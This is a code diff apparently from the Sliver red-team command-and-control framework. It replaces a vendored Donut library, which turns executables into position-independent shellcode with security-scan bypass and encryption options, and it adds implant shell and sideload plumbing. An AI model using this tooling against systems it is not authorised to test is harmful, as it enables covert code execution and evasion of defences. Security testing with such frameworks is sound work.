@@ -183,7 +183,7 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "")
|
||||
shellcode, err := DonutShellcodeFromFile(dest, config.GOARCH, false, "", "", "", config.DonutConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
+117
-100
@@ -1,142 +1,159 @@
|
||||
package generate
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/go-donut/donut"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
wasmdonut "github.com/sliverarmory/wasm-donut"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultDonutEntropy = wasmdonut.DonutEntropyNone
|
||||
defaultDonutCompress = wasmdonut.DonutCompressNone
|
||||
defaultDonutExitOpt = wasmdonut.DonutExitThread
|
||||
defaultDonutBypass = wasmdonut.DonutBypassContinue
|
||||
defaultDonutHeaders = wasmdonut.DonutHeadersOverwrite
|
||||
)
|
||||
|
||||
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string) (data []byte, err error) {
|
||||
func DonutShellcodeFromFile(filePath string, arch string, dotnet bool, params string, className string, method string, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
pe, err := os.ReadFile(filePath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
isDLL := (filepath.Ext(filePath) == ".dll")
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true)
|
||||
return DonutShellcodeFromPE(pe, arch, dotnet, params, className, method, isDLL, false, true, donutConfig)
|
||||
}
|
||||
|
||||
// DonutShellcodeFromPE returns a Donut shellcode for the given PE file
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool) (data []byte, err error) {
|
||||
func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, className string, method string, isDLL bool, isUnicode bool, createNewThread bool, donutConfig *clientpb.DonutConfig) (data []byte, err error) {
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
var isUnicodeVar uint32
|
||||
if isUnicode {
|
||||
isUnicodeVar = 1
|
||||
}
|
||||
|
||||
thread := uint32(0)
|
||||
if createNewThread {
|
||||
thread = 1
|
||||
}
|
||||
|
||||
serverConf := configs.GetServerConfig()
|
||||
_ = dotnet
|
||||
|
||||
donutOpts := normalizeDonutConfig(donutConfig, createNewThread, isUnicode)
|
||||
donutArch := getDonutArch(arch)
|
||||
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
|
||||
// in the task runner, and we're doing some housekeeping on it.
|
||||
// Having DonutConfig.Thread = 1 means another thread will be created
|
||||
// inside the one we created, and that will fuck up our monitoring
|
||||
// since we can't grab a handle to the thread created by the Donut loader,
|
||||
// and thus the waitForCompletion call will most of the time never complete.
|
||||
config := donut.DonutConfig{
|
||||
Type: getDonutType(ext, false),
|
||||
InstType: donut.DONUT_INSTANCE_PIC,
|
||||
Parameters: params,
|
||||
Class: className,
|
||||
Method: method,
|
||||
Bypass: serverConf.DonutBypass, // 1=skip, 2=abort on fail, 3=continue on fail.
|
||||
Format: uint32(1), // 1=raw, 2=base64, 3=c, 4=ruby, 5=python, 6=powershell, 7=C#, 8=hex
|
||||
Arch: donutArch,
|
||||
Entropy: 0, // 1=disable, 2=use random names, 3=random names + symmetric encryption (default)
|
||||
Compress: uint32(1), // 1=disable, 2=LZNT1, 3=Xpress, 4=Xpress Huffman
|
||||
ExitOpt: 1, // exit thread
|
||||
Unicode: isUnicodeVar,
|
||||
Thread: thread,
|
||||
|
||||
opts := wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Args: params,
|
||||
Class: className,
|
||||
Method: method,
|
||||
Arch: donutArch,
|
||||
Bypass: donutOpts.bypass,
|
||||
Headers: donutOpts.headers,
|
||||
Entropy: donutOpts.entropy,
|
||||
Compress: donutOpts.compress,
|
||||
ExitOpt: donutOpts.exitOpt,
|
||||
Thread: donutOpts.thread,
|
||||
Unicode: donutOpts.unicode,
|
||||
OEP: donutOpts.oep,
|
||||
}
|
||||
return getDonut(pe, &config)
|
||||
|
||||
result, err := wasmdonut.Generate(context.Background(), pe, ext, opts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
type donutOptions struct {
|
||||
entropy int
|
||||
compress int
|
||||
exitOpt int
|
||||
bypass int
|
||||
headers int
|
||||
thread bool
|
||||
unicode bool
|
||||
oep uint32
|
||||
}
|
||||
|
||||
func normalizeDonutConfig(config *clientpb.DonutConfig, fallbackThread bool, fallbackUnicode bool) donutOptions {
|
||||
opts := donutOptions{
|
||||
entropy: defaultDonutEntropy,
|
||||
compress: defaultDonutCompress,
|
||||
exitOpt: defaultDonutExitOpt,
|
||||
bypass: defaultDonutBypass,
|
||||
headers: defaultDonutHeaders,
|
||||
thread: fallbackThread,
|
||||
unicode: fallbackUnicode,
|
||||
}
|
||||
if config == nil {
|
||||
return opts
|
||||
}
|
||||
if config.Entropy >= 1 && config.Entropy <= 3 {
|
||||
opts.entropy = int(config.Entropy)
|
||||
}
|
||||
if config.Compress >= 1 && config.Compress <= 2 {
|
||||
opts.compress = int(config.Compress)
|
||||
}
|
||||
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
|
||||
opts.exitOpt = int(config.ExitOpt)
|
||||
}
|
||||
if config.Bypass >= 1 && config.Bypass <= 3 {
|
||||
opts.bypass = int(config.Bypass)
|
||||
}
|
||||
if config.Headers >= 1 && config.Headers <= 2 {
|
||||
opts.headers = int(config.Headers)
|
||||
}
|
||||
opts.thread = config.Thread
|
||||
opts.unicode = config.Unicode
|
||||
if config.OEP > 0 {
|
||||
opts.oep = config.OEP
|
||||
}
|
||||
return opts
|
||||
}
|
||||
|
||||
// DonutFromAssembly - Generate a donut shellcode from a .NET assembly
|
||||
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string) ([]byte, error) {
|
||||
func DonutFromAssembly(assembly []byte, isDLL bool, arch string, params string, method string, className string, appDomain string, runtime string) ([]byte, error) {
|
||||
ext := ".exe"
|
||||
if isDLL {
|
||||
ext = ".dll"
|
||||
}
|
||||
donutArch := getDonutArch(arch)
|
||||
config := donut.DefaultConfig()
|
||||
config.Bypass = 3
|
||||
config.Runtime = "v4.0.30319" // we might want to make this configurable
|
||||
config.Format = 1
|
||||
config.Arch = donutArch
|
||||
config.Class = className
|
||||
config.Parameters = params
|
||||
config.Domain = appDomain
|
||||
config.Method = method
|
||||
config.Entropy = 3
|
||||
config.Unicode = 0
|
||||
config.Type = getDonutType(ext, true)
|
||||
return getDonut(assembly, config)
|
||||
|
||||
opts := wasmdonut.GenerateOptions{
|
||||
Ext: ext,
|
||||
Args: params,
|
||||
Class: className,
|
||||
Method: method,
|
||||
Domain: appDomain,
|
||||
Runtime: runtime,
|
||||
Arch: donutArch,
|
||||
Entropy: wasmdonut.DonutEntropyDefault,
|
||||
Compress: defaultDonutCompress,
|
||||
ExitOpt: defaultDonutExitOpt,
|
||||
}
|
||||
result, err := wasmdonut.Generate(context.Background(), assembly, ext, opts)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return addStackCheck(result.Loader), nil
|
||||
}
|
||||
|
||||
func getDonut(data []byte, config *donut.DonutConfig) (shellcode []byte, err error) {
|
||||
buf := bytes.NewBuffer(data)
|
||||
res, err := donut.ShellcodeFromBytes(buf, config)
|
||||
if err != nil {
|
||||
return
|
||||
func getDonutArch(arch string) int {
|
||||
donutArch := wasmdonut.DonutArchX84
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "386":
|
||||
donutArch = wasmdonut.DonutArchX86
|
||||
case "x64", "amd64":
|
||||
donutArch = wasmdonut.DonutArchX64
|
||||
case "x84":
|
||||
donutArch = wasmdonut.DonutArchX84
|
||||
}
|
||||
shellcode = res.Bytes()
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func addStackCheck(shellcode []byte) []byte {
|
||||
stackCheckPrologue := []byte{
|
||||
// Check stack is 8 byte but not 16 byte aligned or else errors in LoadLibrary
|
||||
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
|
||||
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
|
||||
}
|
||||
shellcode = append(stackCheckPrologue, shellcode...)
|
||||
return
|
||||
}
|
||||
|
||||
func getDonutArch(arch string) donut.DonutArch {
|
||||
var donutArch donut.DonutArch
|
||||
switch strings.ToLower(arch) {
|
||||
case "x32", "386":
|
||||
donutArch = donut.X32
|
||||
case "x64", "amd64":
|
||||
donutArch = donut.X64
|
||||
case "x84":
|
||||
donutArch = donut.X84
|
||||
default:
|
||||
donutArch = donut.X84
|
||||
}
|
||||
return donutArch
|
||||
}
|
||||
|
||||
func getDonutType(ext string, dotnet bool) donut.ModuleType {
|
||||
var donutType donut.ModuleType
|
||||
switch strings.ToLower(filepath.Ext(ext)) {
|
||||
case ".exe", ".bin":
|
||||
if dotnet {
|
||||
donutType = donut.DONUT_MODULE_NET_EXE
|
||||
} else {
|
||||
donutType = donut.DONUT_MODULE_EXE
|
||||
}
|
||||
case ".dll":
|
||||
if dotnet {
|
||||
donutType = donut.DONUT_MODULE_NET_DLL
|
||||
} else {
|
||||
donutType = donut.DONUT_MODULE_DLL
|
||||
}
|
||||
case ".xsl":
|
||||
donutType = donut.DONUT_MODULE_XSL
|
||||
case ".js":
|
||||
donutType = donut.DONUT_MODULE_JS
|
||||
case ".vbs":
|
||||
donutType = donut.DONUT_MODULE_VBS
|
||||
}
|
||||
return donutType
|
||||
return append(stackCheckPrologue, shellcode...)
|
||||
}
|
||||
+4
-10
@@ -156,21 +156,15 @@ func (rpc *Server) StartWGListener(ctx context.Context, req *clientpb.WGListener
|
||||
req.KeyPort = defaultWGKeyExPort
|
||||
}
|
||||
|
||||
if req.NPort == req.KeyPort {
|
||||
return nil, status.Error(codes.InvalidArgument, "wg nport and key-port must be different")
|
||||
}
|
||||
|
||||
err := PortInUse(req.Port)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
err = PortInUse(req.NPort)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
err = PortInUse(req.KeyPort)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
|
||||
job, err := c2.StartWGListenerJob(req)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
|
||||
@@ -60,6 +60,26 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
|
||||
return shell, nil
|
||||
}
|
||||
|
||||
// ShellResize - Resize a shell PTY (best effort)
|
||||
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
}
|
||||
if core.Tunnels.Get(req.TunnelID) == nil {
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
reqData, err := proto.Marshal(req)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
_, err = session.Request(sliverpb.MsgNumber(req), rpc.getTimeout(req), reqData)
|
||||
if err != nil {
|
||||
return nil, rpcError(err)
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
// RunSSHCommand runs a SSH command using the client built into the implant
|
||||
func (rpc *Server) RunSSHCommand(ctx context.Context, req *sliverpb.SSHCommandReq) (*sliverpb.SSHCommand, error) {
|
||||
resp := &sliverpb.SSHCommand{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -202,6 +202,7 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
req.Method,
|
||||
req.ClassName,
|
||||
req.AppDomain,
|
||||
req.Runtime,
|
||||
)
|
||||
if err != nil {
|
||||
tasksLog.Errorf("Execute assembly failed: %s", err)
|
||||
@@ -266,7 +267,7 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
}
|
||||
|
||||
if getOS(session, beacon) == "windows" {
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false)
|
||||
shellcode, err := generate.DonutShellcodeFromPE(req.Data, arch, false, strings.Join(req.Args, " "), "", req.EntryPoint, req.IsDLL, req.IsUnicode, false, nil)
|
||||
if err != nil {
|
||||
tasksLog.Errorf("Sideload failed: %s", err)
|
||||
return nil, status.Error(codes.InvalidArgument, err.Error())
|
||||
@@ -372,7 +373,7 @@ func getSliverShellcode(name string) ([]byte, string, error) {
|
||||
if err != nil {
|
||||
return []byte{}, "", err
|
||||
}
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false)
|
||||
data, err = generate.DonutShellcodeFromPE(fileData, config.GOARCH, false, "", "", "", false, false, false, config.DonutConfig)
|
||||
if err != nil {
|
||||
rpcLog.Errorf("DonutShellcodeFromPE error: %v\n", err)
|
||||
return []byte{}, "", err
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
package assets
|
||||
|
||||
const (
|
||||
goVersion = "1.25.5"
|
||||
goVersion = "1.25.6"
|
||||
zigVersion = "0.15.2"
|
||||
garbleVersion = "1.25.5"
|
||||
garbleVersion = "1.25.6"
|
||||
zigSourceParam = "source=sliver"
|
||||
|
||||
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
|
||||
|
||||
-29
@@ -1,29 +0,0 @@
|
||||
BSD 3-Clause License
|
||||
|
||||
Copyright (c) 2019, Binject
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
3. Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
-500
@@ -1,500 +0,0 @@
|
||||
package donut
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
)
|
||||
|
||||
/*
|
||||
This code imports PE files and converts them to shellcode using the algorithm and stubs taken
|
||||
from the donut loader: https://github.com/TheWover/donut
|
||||
|
||||
You can also use the native-code donut tools to do this conversion.
|
||||
|
||||
This has the donut stubs hard-coded as arrays, so if something rots,
|
||||
try updating the stubs to latest donut first.
|
||||
*/
|
||||
|
||||
// ShellcodeFromURL - Downloads a PE from URL, makes shellcode
|
||||
func ShellcodeFromURL(fileURL string, config *DonutConfig) (*bytes.Buffer, error) {
|
||||
buf, err := DownloadFile(fileURL)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// todo: set things up in config
|
||||
return ShellcodeFromBytes(buf, config)
|
||||
}
|
||||
|
||||
// DetectDotNet - returns true if a .NET assembly. 2nd return value is detected version string.
|
||||
func DetectDotNet(filename string) (bool, string) {
|
||||
// auto-detect .NET assemblies and version
|
||||
pefile, err := pe.Open(filename)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
defer pefile.Close()
|
||||
return pefile.IsManaged(), pefile.NetCLRVersion()
|
||||
}
|
||||
|
||||
// ShellcodeFromFile - Loads PE from file, makes shellcode
|
||||
func ShellcodeFromFile(filename string, config *DonutConfig) (*bytes.Buffer, error) {
|
||||
|
||||
switch strings.ToLower(filepath.Ext(filename)) {
|
||||
case ".exe":
|
||||
dotNetMode, dotNetVersion := DetectDotNet(filename)
|
||||
if dotNetMode {
|
||||
config.Type = DONUT_MODULE_NET_EXE
|
||||
} else {
|
||||
config.Type = DONUT_MODULE_EXE
|
||||
}
|
||||
if dotNetVersion != "" && config.Runtime == "" {
|
||||
config.Runtime = dotNetVersion
|
||||
}
|
||||
case ".dll":
|
||||
dotNetMode, dotNetVersion := DetectDotNet(filename)
|
||||
if dotNetMode {
|
||||
config.Type = DONUT_MODULE_NET_DLL
|
||||
} else {
|
||||
config.Type = DONUT_MODULE_DLL
|
||||
}
|
||||
if dotNetVersion != "" && config.Runtime == "" {
|
||||
config.Runtime = dotNetVersion
|
||||
}
|
||||
case ".xsl":
|
||||
config.Type = DONUT_MODULE_XSL
|
||||
case ".js":
|
||||
config.Type = DONUT_MODULE_JS
|
||||
case ".vbs":
|
||||
config.Type = DONUT_MODULE_VBS
|
||||
}
|
||||
|
||||
b, err := ioutil.ReadFile(filename)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return ShellcodeFromBytes(bytes.NewBuffer(b), config)
|
||||
}
|
||||
|
||||
// ShellcodeFromBytes - Passed a PE as byte array, makes shellcode
|
||||
func ShellcodeFromBytes(buf *bytes.Buffer, config *DonutConfig) (*bytes.Buffer, error) {
|
||||
|
||||
if err := CreateModule(config, buf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
instance, err := CreateInstance(config)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// If the module will be stored on a remote server
|
||||
if config.InstType == DONUT_INSTANCE_URL {
|
||||
if config.Verbose {
|
||||
log.Printf("Saving %s to disk.\n", config.ModuleName)
|
||||
}
|
||||
|
||||
// save the module to disk using random name
|
||||
instance.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
|
||||
config.ModuleData.Write([]byte{0, 0, 0, 0, 0, 0, 0, 0}) // mystery padding
|
||||
ioutil.WriteFile(config.ModuleName, config.ModuleData.Bytes(), 0644)
|
||||
}
|
||||
//ioutil.WriteFile("newinst.bin", instance.Bytes(), 0644)
|
||||
return Sandwich(config.Arch, instance)
|
||||
}
|
||||
|
||||
// Sandwich - adds the donut prefix in the beginning (stomps DOS header), then payload, then donut stub at the end
|
||||
func Sandwich(arch DonutArch, payload *bytes.Buffer) (*bytes.Buffer, error) {
|
||||
/*
|
||||
Disassembly:
|
||||
0: e8 call $+
|
||||
1: xx xx xx xx instance length
|
||||
5: [instance]
|
||||
x=5+instanceLen: 0x59 pop ecx
|
||||
x+1: stub preamble + stub (either 32 or 64 bit or both)
|
||||
*/
|
||||
|
||||
w := new(bytes.Buffer)
|
||||
instanceLen := uint32(payload.Len())
|
||||
w.WriteByte(0xE8)
|
||||
binary.Write(w, binary.LittleEndian, instanceLen)
|
||||
if _, err := payload.WriteTo(w); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
w.WriteByte(0x59)
|
||||
|
||||
picLen := int(instanceLen) + 32
|
||||
|
||||
switch arch {
|
||||
case X32:
|
||||
w.WriteByte(0x5A) // preamble: pop edx, push ecx, push edx
|
||||
w.WriteByte(0x51)
|
||||
w.WriteByte(0x52)
|
||||
w.Write(LOADER_EXE_X86)
|
||||
picLen += len(LOADER_EXE_X86)
|
||||
case X64:
|
||||
w.Write(LOADER_EXE_X64)
|
||||
picLen += len(LOADER_EXE_X64)
|
||||
case X84:
|
||||
w.WriteByte(0x31) // preamble: xor eax,eax
|
||||
w.WriteByte(0xC0)
|
||||
w.WriteByte(0x48) // dec ecx
|
||||
w.WriteByte(0x0F) // js dword x86_code (skips length of x64 code)
|
||||
w.WriteByte(0x88)
|
||||
binary.Write(w, binary.LittleEndian, uint32(len(LOADER_EXE_X64)))
|
||||
w.Write(LOADER_EXE_X64)
|
||||
|
||||
w.Write([]byte{0x5A, // in between 32/64 stubs: pop edx
|
||||
0x51, // push ecx
|
||||
0x52}) // push edx
|
||||
w.Write(LOADER_EXE_X86)
|
||||
picLen += len(LOADER_EXE_X86)
|
||||
picLen += len(LOADER_EXE_X64)
|
||||
}
|
||||
|
||||
lb := w.Len()
|
||||
for i := 0; i < picLen-lb; i++ {
|
||||
w.WriteByte(0x0)
|
||||
}
|
||||
|
||||
return w, nil
|
||||
}
|
||||
|
||||
// CreateModule - Creates the Donut Module from Config
|
||||
func CreateModule(config *DonutConfig, inputFile *bytes.Buffer) error {
|
||||
|
||||
mod := new(DonutModule)
|
||||
mod.ModType = uint32(config.Type)
|
||||
mod.Thread = uint32(config.Thread)
|
||||
mod.Unicode = uint32(config.Unicode)
|
||||
mod.Compress = uint32(config.Compress)
|
||||
|
||||
if config.Type == DONUT_MODULE_NET_DLL ||
|
||||
config.Type == DONUT_MODULE_NET_EXE {
|
||||
if config.Domain == "" && config.Entropy != DONUT_ENTROPY_NONE { // If no domain name specified, generate a random one
|
||||
config.Domain = RandomString(DONUT_DOMAIN_LEN)
|
||||
} else {
|
||||
config.Domain = "AAAAAAAA"
|
||||
}
|
||||
copy(mod.Domain[:], []byte(config.Domain)[:])
|
||||
|
||||
if config.Type == DONUT_MODULE_NET_DLL {
|
||||
if config.Verbose {
|
||||
log.Println("Class:", config.Class)
|
||||
}
|
||||
copy(mod.Cls[:], []byte(config.Class)[:])
|
||||
if config.Verbose {
|
||||
log.Println("Method:", config.Method)
|
||||
}
|
||||
copy(mod.Method[:], []byte(config.Method)[:])
|
||||
}
|
||||
// If no runtime specified in configuration, use default
|
||||
if config.Runtime == "" {
|
||||
config.Runtime = "v2.0.50727"
|
||||
}
|
||||
if config.Verbose {
|
||||
log.Println("Runtime:", config.Runtime)
|
||||
}
|
||||
copy(mod.Runtime[:], []byte(config.Runtime)[:])
|
||||
} else if config.Type == DONUT_MODULE_DLL && config.Method != "" { // Unmanaged DLL? check for exported api
|
||||
if config.Verbose {
|
||||
log.Println("DLL function:", config.Method)
|
||||
}
|
||||
copy(mod.Method[:], []byte(config.Method))
|
||||
}
|
||||
mod.Zlen = 0 // todo: support compression
|
||||
mod.Len = uint32(inputFile.Len())
|
||||
|
||||
if config.Parameters != "" {
|
||||
// if type is unmanaged EXE
|
||||
if config.Type == DONUT_MODULE_EXE {
|
||||
// and entropy is enabled
|
||||
if config.Entropy != DONUT_ENTROPY_NONE {
|
||||
// generate random name
|
||||
copy(mod.Param[:], []byte(RandomString(DONUT_DOMAIN_LEN) + " ")[:])
|
||||
copy(mod.Param[DONUT_DOMAIN_LEN+1:], []byte(config.Parameters)[:])
|
||||
} else {
|
||||
// else set to "AAAA "
|
||||
copy(mod.Param[:], []byte("AAAAAAAA ")[:])
|
||||
copy(mod.Param[9:], []byte(config.Parameters)[:])
|
||||
}
|
||||
} else {
|
||||
copy(mod.Param[:], []byte(config.Parameters)[:])
|
||||
}
|
||||
}
|
||||
|
||||
// read module into memory
|
||||
b := new(bytes.Buffer)
|
||||
mod.WriteTo(b)
|
||||
inputFile.WriteTo(b)
|
||||
config.ModuleData = b
|
||||
|
||||
// update configuration with pointer to module
|
||||
config.Module = mod
|
||||
return nil
|
||||
}
|
||||
|
||||
// CreateInstance - Creates the Donut Instance from Config
|
||||
func CreateInstance(config *DonutConfig) (*bytes.Buffer, error) {
|
||||
|
||||
inst := new(DonutInstance)
|
||||
modLen := uint32(config.ModuleData.Len()) // ModuleData is mod struct + input file
|
||||
instLen := uint32(3312 + 352 + 8) //todo: that's how big it is in the C version...
|
||||
inst.Bypass = uint32(config.Bypass)
|
||||
|
||||
// if this is a PIC instance, add the size of module
|
||||
// that will be appended to the end of structure
|
||||
if config.InstType == DONUT_INSTANCE_PIC {
|
||||
if config.Verbose {
|
||||
log.Printf("The size of module is %v bytes. Adding to size of instance.\n", modLen)
|
||||
}
|
||||
instLen += modLen
|
||||
}
|
||||
|
||||
if config.Entropy == DONUT_ENTROPY_DEFAULT {
|
||||
if config.Verbose {
|
||||
log.Println("Generating random key for instance")
|
||||
}
|
||||
tk, err := GenerateRandomBytes(16)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
copy(inst.KeyMk[:], tk)
|
||||
|
||||
tk, err = GenerateRandomBytes(16)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
copy(inst.KeyCtr[:], tk)
|
||||
|
||||
if config.Verbose {
|
||||
log.Println("Generating random key for module")
|
||||
}
|
||||
tk, err = GenerateRandomBytes(16)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
copy(inst.ModKeyMk[:], tk)
|
||||
|
||||
tk, err = GenerateRandomBytes(16)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
copy(inst.ModKeyCtr[:], tk)
|
||||
|
||||
if config.Verbose {
|
||||
log.Println("Generating random string to verify decryption")
|
||||
}
|
||||
sbsig := RandomString(DONUT_SIG_LEN)
|
||||
copy(inst.Sig[:], []byte(sbsig))
|
||||
|
||||
if config.Verbose {
|
||||
log.Println("Generating random IV for Maru hash")
|
||||
}
|
||||
iv, err := GenerateRandomBytes(MARU_IV_LEN)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
inst.Iv = binary.LittleEndian.Uint64(iv)
|
||||
|
||||
inst.Mac = Maru(inst.Sig[:], inst.Iv)
|
||||
}
|
||||
if config.Verbose {
|
||||
log.Println("Generating hashes for API using IV:", inst.Iv)
|
||||
}
|
||||
|
||||
for cnt, c := range api_imports {
|
||||
// calculate hash for DLL string
|
||||
dllHash := Maru([]byte(c.Module), inst.Iv)
|
||||
|
||||
// calculate hash for API string.
|
||||
// xor with DLL hash and store in instance
|
||||
inst.Hash[cnt] = Maru([]byte(c.Name), inst.Iv) ^ dllHash
|
||||
|
||||
if config.Verbose {
|
||||
log.Printf("Hash for %s : %s = %x\n",
|
||||
c.Module,
|
||||
c.Name,
|
||||
inst.Hash[cnt])
|
||||
}
|
||||
}
|
||||
// save how many API to resolve
|
||||
inst.ApiCount = uint32(len(api_imports))
|
||||
copy(inst.DllNames[:], "ole32;oleaut32;wininet;mscoree;shell32")
|
||||
|
||||
// if module is .NET assembly
|
||||
if config.Type == DONUT_MODULE_NET_DLL ||
|
||||
config.Type == DONUT_MODULE_NET_EXE {
|
||||
if config.Verbose {
|
||||
log.Println("Copying GUID structures and DLL strings for loading .NET assemblies")
|
||||
}
|
||||
copy(inst.XIID_AppDomain[:], xIID_AppDomain[:])
|
||||
copy(inst.XIID_ICLRMetaHost[:], xIID_ICLRMetaHost[:])
|
||||
copy(inst.XCLSID_CLRMetaHost[:], xCLSID_CLRMetaHost[:])
|
||||
copy(inst.XIID_ICLRRuntimeInfo[:], xIID_ICLRRuntimeInfo[:])
|
||||
copy(inst.XIID_ICorRuntimeHost[:], xIID_ICorRuntimeHost[:])
|
||||
copy(inst.XCLSID_CorRuntimeHost[:], xCLSID_CorRuntimeHost[:])
|
||||
} else if config.Type == DONUT_MODULE_VBS ||
|
||||
config.Type == DONUT_MODULE_JS {
|
||||
|
||||
if config.Verbose {
|
||||
log.Println("Copying GUID structures and DLL strings for loading VBS/JS")
|
||||
}
|
||||
|
||||
copy(inst.XIID_IUnknown[:], xIID_IUnknown[:])
|
||||
copy(inst.XIID_IDispatch[:], xIID_IDispatch[:])
|
||||
copy(inst.XIID_IHost[:], xIID_IHost[:])
|
||||
copy(inst.XIID_IActiveScript[:], xIID_IActiveScript[:])
|
||||
copy(inst.XIID_IActiveScriptSite[:], xIID_IActiveScriptSite[:])
|
||||
copy(inst.XIID_IActiveScriptSiteWindow[:], xIID_IActiveScriptSiteWindow[:])
|
||||
copy(inst.XIID_IActiveScriptParse32[:], xIID_IActiveScriptParse32[:])
|
||||
copy(inst.XIID_IActiveScriptParse64[:], xIID_IActiveScriptParse64[:])
|
||||
|
||||
copy(inst.Wscript[:], "WScript")
|
||||
copy(inst.Wscript_exe[:], "wscript.exe")
|
||||
|
||||
if config.Type == DONUT_MODULE_VBS {
|
||||
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_VBScript[:])
|
||||
} else {
|
||||
copy(inst.XCLSID_ScriptLanguage[:], xCLSID_JScript[:])
|
||||
}
|
||||
}
|
||||
|
||||
